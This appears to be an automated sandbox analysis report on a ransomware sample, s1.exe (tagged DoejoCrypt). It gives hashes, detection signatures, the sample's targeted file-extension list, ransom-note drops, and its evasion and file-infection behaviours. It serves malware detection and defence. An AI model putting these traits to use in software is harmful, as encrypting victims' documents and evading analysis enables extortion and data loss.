Loading ...

Play interactive tourEdit tour

Analysis Report s1.exe

Overview

General Information

Sample Name:s1.exe
Analysis ID:367746
MD5:0e55ead3b8fd305d9a54f78c7b56741a
SHA1:f7b084e581a8dcea450c2652f8058d93797413c3
SHA256:2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff
Tags:DoejoCrypt
Infos:

Most interesting Screenshot:

Detection

Score:80
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Creates files in the recycle bin to hide itself
Drops executable to a common third party application directory
Infects executable files (exe, dll, sys, html)
Machine Learning detection for sample
Modifies existing user documents (likely ransomware behavior)
Potentially malicious time measurement code found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Writes many files with high entropy
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to delete services
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Detected potential crypto function
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
Installs a Chrome extension
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains an invalid checksum
Queries the volume information (name, serial number etc) of a device
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • s1.exe (PID: 580 cmdline: 'C:\Users\user\Desktop\s1.exe' MD5: 0E55EAD3B8FD305D9A54F78C7B56741A)
    • conhost.exe (PID: 1844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • WerFault.exe (PID: 3560 cmdline: C:\Windows\system32\WerFault.exe -pss -s 568 -p 3388 -ip 3388 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)
    • explorer.exe (PID: 3388 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)
      • WerFault.exe (PID: 1380 cmdline: C:\Windows\system32\WerFault.exe -u -p 3388 -s 1296 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)
  • explorer.exe (PID: 3580 cmdline: explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)
  • SearchUI.exe (PID: 3656 cmdline: 'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca MD5: C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2)
  • SearchUI.exe (PID: 6956 cmdline: 'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca MD5: C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Multi AV Scanner detection for submitted fileShow sources
Source: s1.exeVirustotal: Detection: 48%Perma Link
Source: s1.exeReversingLabs: Detection: 34%
Machine Learning detection for sampleShow sources
Source: s1.exeJoe Sandbox ML: detected
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ADC290 CryptAcquireContextW,CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,CryptGenRandom,CryptReleaseContext,CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,GlobalMemoryStatus,GetCurrentProcessId,0_2_00ADC290
Source: C:\Users\user\Desktop\s1.exeCode function: -----BEGIN RSA PUBLIC KEY-----MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge0_2_00AB1D10
Source: C:\Users\user\Desktop\s1.exeCode function: -----BEGIN RSA PUBLIC KEY-----MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge0_2_00AB1000
Source: C:\Users\user\Desktop\s1.exeCode function: -----BEGIN RSA PUBLIC KEY-----MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge0_2_00AB1000
Source: C:\Users\user\Desktop\s1.exeCode function: -----BEGIN RSA PUBLIC KEY-----MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge0_2_00AB1000
Source: s1.exeBinary or memory string: -----BEGIN RSA PUBLIC KEY----- MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+ C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ube VdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1 CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge
Source: s1.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\ALL USERS\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\DESKTOP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\DEFAULT\DESKTOP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\MICROSOFT\PLAYREADY\INTERNET EXPLORER\DESKTOP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\MICROSOFT\PLAYREADY\INTERNET EXPLORER\INPRIVATE\DESKTOP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\INETCACHE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\TEMP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\APPDATA\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\LOCALCACHE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\LOCALSTATE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\ROAMINGSTATE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\SETTINGS\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\SYSTEMAPPDATA\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\TEMPSTATE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\INETCOOKIES\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\INETHISTORY\readme.txtJump to behavior
Source: s1.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: dear!!!.TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFSWINDIRTEMP source: s1.exe, 00000000.00000000.194839158.0000000000BE1000.00000008.00020000.sdmp
Source: Binary string: .TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS source: s1.exe, 00000000.00000000.194839158.0000000000BE1000.00000008.00020000.sdmp
Source: Binary string: C:\Users\john\Documents\Visual Studio 2008\Projects\EncryptFile -svcV2\Release\EncryptFile.exe.pdb source: s1.exe, 00000000.00000000.194812148.0000000000BA0000.00000002.00020000.sdmp

Spreading:

barindex
Infects executable files (exe, dll, sys, html)Show sources
Source: C:\Users\user\Desktop\s1.exeSystem file written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeSystem file written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeSystem file written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B89E5A __getdrive,FindFirstFileA,__wfullpath_helper,_strlen,_IsRootUNCName,GetDriveTypeA,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___dtoxmode,GetLastError,__dosmaperr,FindClose,0_2_00B89E5A
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB1640 _memset,_memset,_sprintf,FindFirstFileA,_strrchr,_memset,_strncpy,_memset,_sprintf,_memset,_memset,_memset,_memset,_sprintf,FindNextFileA,FindClose,0_2_00AB1640
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB1D10 SetServiceStatus,_calloc,_calloc,_sprintf,_memset,_getenv,GetLogicalDrives,_memset,GetLogicalDriveStringsA,_sprintf,GetDriveTypeA,GetDriveTypeA,GetDriveTypeA,_sprintf,_printf,SetServiceStatus,0_2_00AB1D10
Source: C:\Users\user\Desktop\s1.exeCode function: 4x nop then movd mm0, dword ptr [edx]0_2_00AE8670
Source: SearchUI.exe, 00000026.00000002.590543056.0000011AFBDEC000.00000004.00000001.sdmpString found in binary or memory: www.yandex.www.baidu.www.bing.www.yahoo.cn.bing.( equals www.yahoo.com (Yahoo)
Source: explorer.exe, 00000004.00000000.248031513.000000000F6C0000.00000004.00000001.sdmp, explorer.exe, 00000008.00000003.305799133.0000000005E8C000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: SearchUI.exe, 00000012.00000002.481188935.00000248A2F60000.00000004.00000001.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: SearchUI.exe, 00000012.00000002.491853562.00000248A53F0000.00000004.00000001.sdmp, SearchUI.exe, 00000012.00000003.341869917.00000248A34A5000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000003.538358081.0000011AF9EEB000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000003.513372490.0000011AF9E23000.00000004.00000001.sdmpString found in binary or memory: http://facebook.github.io/react/docs/error-decoder.html?invariant
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://fontfabrik.com
Source: SearchUI.exe, 00000012.00000002.481188935.00000248A2F60000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.digicert.com0:
Source: SearchUI.exe, 00000012.00000002.481188935.00000248A2F60000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.msocsp.com0
Source: SearchUI.exe, 00000012.00000002.389116825.000002409AC29000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.557017455.00000112F1629000.00000004.00000001.sdmpString found in binary or memory: http://schema.org/reminder
Source: SearchUI.exe, 00000012.00000002.405561038.000002409CF24000.00000004.00000001.sdmpString found in binary or memory: http://schemas.live.com/Web/1bet
Source: SearchUI.exe, 00000012.00000002.446702628.00000240A1072000.00000004.00000001.sdmpString found in binary or memory: http://schemas.live.com/Web/on
Source: explorer.exe, 00000008.00000003.436870688.0000000005EBA000.00000004.00000001.sdmpString found in binary or memory: http://schemas.micros
Source: explorer.exe, 00000008.00000003.305658033.0000000005EBA000.00000004.00000001.sdmpString found in binary or memory: http://schemas.micros$
Source: explorer.exe, 00000008.00000003.436870688.0000000005EBA000.00000004.00000001.sdmpString found in binary or memory: http://schemas.microsJ
Source: explorer.exe, 00000008.00000003.305658033.0000000005EBA000.00000004.00000001.sdmpString found in binary or memory: http://schemas.microso
Source: explorer.exe, 00000008.00000003.305658033.0000000005EBA000.00000004.00000001.sdmpString found in binary or memory: http://schemas.microsx
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com
Source: SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.sandoll.co.kr
Source: SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.urwpp.deDPlease
Source: SearchUI.exe, 00000026.00000002.557017455.00000112F1629000.00000004.00000001.sdmpString found in binary or memory: http://www.w3.
Source: SearchUI.exe, 00000012.00000002.464612117.00000248A2D72000.00000004.00000001.sdmpString found in binary or memory: http://www.w3.or
Source: explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
Source: SearchUI.exe, 00000026.00000003.516467904.0000011AF9AB6000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000003.514440929.0000011AF9B7A000.00000004.00000001.sdmpString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: SearchUI.exe, 00000026.00000002.568951937.0000011AF9B17000.00000004.00000001.sdmpString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: SearchUI.exe, 00000012.00000002.490465404.00000248A3DB9000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.583615151.0000011AFB8F9000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.558047573.00000112F17AE000.00000004.00000001.sdmpString found in binary or memory: https://api.msn.com/news/feed?market=en-us&query=
Source: SearchUI.exe, 00000026.00000002.568625250.0000011AF9A3B000.00000004.00000001.sdmpString found in binary or memory: https://business.ocked
Source: SearchUI.exe, 00000012.00000002.464612117.00000248A2D72000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.568817663.0000011AF9AC4000.00000004.00000001.sdmpString found in binary or memory: https://mths.be/fromcodepoint
Source: SearchUI.exe, 00000026.00000002.594696526.0000011AFBF00000.00000004.00000001.sdmpString found in binary or memory: https://onedrive.live.comi.prototype.getAllAccountTokens
Source: SearchUI.exe, 00000012.00000002.483557744.00000248A3024000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office.com/
Source: SearchUI.exe, 00000012.00000002.483557744.00000248A3024000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office.com/User.ReadWrite
Source: SearchUI.exe, 00000026.00000002.557017455.00000112F1629000.00000004.00000001.sdmpString found in binary or memory: https://pf.directory.live.com/profile/profile.asmx;.WSH;
Source: SearchUI.exe, 00000012.00000002.389116825.000002409AC29000.00000004.00000001.sdmpString found in binary or memory: https://pf.directory.live.com/profile/profile.asmxModule
Source: SearchUI.exe, 00000012.00000002.486954958.00000248A3823000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.com
Source: SearchUI.exe, 00000012.00000002.486954958.00000248A3823000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.com/SubstrateSearch-Internal.ReadWrite
Source: SearchUI.exe, 00000012.00000003.317389835.00000248A30A8000.00000004.00000001.sdmp, SearchUI.exe, 00000012.00000002.483557744.00000248A3024000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.com/api/v2.0/Users(
Source: SearchUI.exe, 00000012.00000003.317389835.00000248A30A8000.00000004.00000001.sdmp, SearchUI.exe, 00000012.00000002.483557744.00000248A3024000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.com/profile/v0/users/
Source: SearchUI.exe, 00000012.00000002.400698854.000002409AD91000.00000004.00000001.sdmpString found in binary or memory: https://www.bing.c
Source: SearchUI.exe, 00000012.00000002.458923182.00000240A2777000.00000004.00000001.sdmpString found in binary or memory: https://www.microsoft.c
Source: SearchUI.exe, 00000012.00000002.488178575.00000248A3B30000.00000004.00000001.sdmpString found in binary or memory: https://www.msn.com/news?ocid=
Source: SearchUI.exe, 00000026.00000002.562806916.00000112F8A1F000.00000004.00000001.sdmpString found in binary or memory: https://www.msn.com/spartan/dhp
Source: SearchUI.exe, 00000012.00000002.454763590.00000240A2298000.00000004.00000001.sdmpString found in binary or memory: https://www.msn.com/spartan/dhp8
Source: SearchUI.exe, 00000026.00000002.562806916.00000112F8A1F000.00000004.00000001.sdmpString found in binary or memory: https://www.msn.com/spartan/ntp
Source: SearchUI.exe, 00000012.00000002.454763590.00000240A2298000.00000004.00000001.sdmpString found in binary or memory: https://www.msn.com/spartan/ntpX
Source: s1.exe, s1.exe, 00000000.00000000.194812148.0000000000BA0000.00000002.00020000.sdmpString found in binary or memory: https://www.openssl.org/docs/faq.html
Source: s1.exe, 00000000.00000000.194812148.0000000000BA0000.00000002.00020000.sdmpString found in binary or memory: https://www.openssl.org/docs/faq.html....................crypto

Spam, unwanted Advertisements and Ransom Demands:

barindex
Modifies existing user documents (likely ransomware behavior)Show sources
Source: C:\Users\user\Desktop\s1.exeFile deleted: C:\Users\user\Desktop\GAOBCVIQIJ.docxJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile deleted: C:\Users\user\Desktop\PWCCAWLGRE.xlsxJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile deleted: C:\Users\user\Desktop\PWCCAWLGRE.jpgJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile deleted: C:\Users\user\Desktop\GAOBCVIQIJ\GAOBCVIQIJ.docxJump to behavior
Writes many files with high entropyShow sources
Source: C:\Users\user\Desktop\s1.exeFile created: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe.CRYPT entropy: 7.99960604234Jump to dropped file
